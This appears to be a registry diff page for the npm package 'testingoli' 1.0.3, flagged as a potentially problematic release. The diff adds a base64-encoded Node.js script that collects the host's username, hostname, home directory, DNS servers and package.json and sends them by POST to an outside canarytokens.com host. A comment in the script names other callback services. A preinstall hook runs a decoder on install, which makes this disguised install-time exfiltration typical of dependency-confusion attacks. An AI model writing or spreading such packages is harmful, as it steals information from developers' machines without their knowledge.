testingoli 1.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of testingoli might be problematic. Click here for more details.

@@ -0,0 +1 @@
1
+ Y29uc3Qgb3MgPSByZXF1aXJlKCJvcyIpOwpjb25zdCBkbnMgPSByZXF1aXJlKCJkbnMiKTsKY29uc3QgcXVlcnlzdHJpbmcgPSByZXF1aXJlKCJxdWVyeXN0cmluZyIpOwpjb25zdCBodHRwcyA9IHJlcXVpcmUoImh0dHBzIik7CmNvbnN0IHBhY2thZ2VKU09OID0gcmVxdWlyZSgiLi9wYWNrYWdlLmpzb24iKTsKY29uc3QgcGFja2FnZSA9IHBhY2thZ2VKU09OLm5hbWU7Cgpjb25zdCB0cmFja2luZ0RhdGEgPSBKU09OLnN0cmluZ2lmeSh7CiAgICBwOiBwYWNrYWdlLAogICAgYzogX19kaXJuYW1lLAogICAgaGQ6IG9zLmhvbWVkaXIoKSwKICAgIGhuOiBvcy5ob3N0bmFtZSgpLAogICAgdW46IG9zLnVzZXJJbmZvKCkudXNlcm5hbWUsCiAgICBkbnM6IGRucy5nZXRTZXJ2ZXJzKCksCiAgICByOiBwYWNrYWdlSlNPTiA/IHBhY2thZ2VKU09OLl9fX3Jlc29sdmVkIDogdW5kZWZpbmVkLAogICAgdjogcGFja2FnZUpTT04udmVyc2lvbiwKICAgIHBqc29uOiBwYWNrYWdlSlNPTiwKfSk7Cgp2YXIgcG9zdERhdGEgPSBxdWVyeXN0cmluZy5zdHJpbmdpZnkoewogICAgbXNnOiB0cmFja2luZ0RhdGEsCn0pOwoKdmFyIG9wdGlvbnMgPSB7CiAgICBob3N0bmFtZTogIm0xdncxOWR2Nzczamh2d2tjdm96ZmEzNXMuY2FuYXJ5dG9rZW5zLmNvbSIsIC8vcmVwbGFjZSBidXJwY29sbGFib3JhdG9yLm5ldCB3aXRoIEludGVyYWN0c2ggb3IgcGlwZWRyZWFtCiAgICBwb3J0OiA0NDMsCiAgICBwYXRoOiAiLyIsCiAgICBtZXRob2Q6ICJQT1NUIiwKICAgIGhlYWRlcnM6IHsKICAgICAgICAiQ29udGVudC1UeXBlIjogImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIsCiAgICAgICAgIkNvbnRlbnQtTGVuZ3RoIjogcG9zdERhdGEubGVuZ3RoLAogICAgfSwKfTsKCnZhciByZXEgPSBodHRwcy5yZXF1ZXN0KG9wdGlvbnMsIChyZXMpID0+IHsKICAgIHJlcy5vbigiZGF0YSIsIChkKSA9PiB7CiAgICAgICAgcHJvY2Vzcy5zdGRvdXQud3JpdGUoZCk7CiAgICB9KTsKfSk7CgpyZXEub24oImVycm9yIiwgKGUpID0+IHsKICAgIC8vIGNvbnNvbGUuZXJyb3IoZSk7Cn0pOwoKcmVxLndyaXRlKHBvc3REYXRhKTsKcmVxLmVuZCgpOwo=
package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ const fs = require('fs');
2
+ const base64Decode = require("base64-decode");
3
+
4
+ const encodedIndexJsFile = fs.readFileSync("encodedIndexJsFile.txt");
5
+ const decodedIndexJsFile = base64Decode(encodedIndexJsFile);
6
+
7
+ fs.writeFileSync("decodedIndexJsFile.js", decodedIndexJsFile);
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "testingoli",
3
+ "version": "1.0.3",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "Master training",
11
+ "license": "ISC",
12
+ "devDependencies": {
13
+ "base64-decode": "^1.0.2"
14
+ },
15
+ "dependencies": {
16
+ "testingoli": "^1.0.2"
17
+ }
18
+ }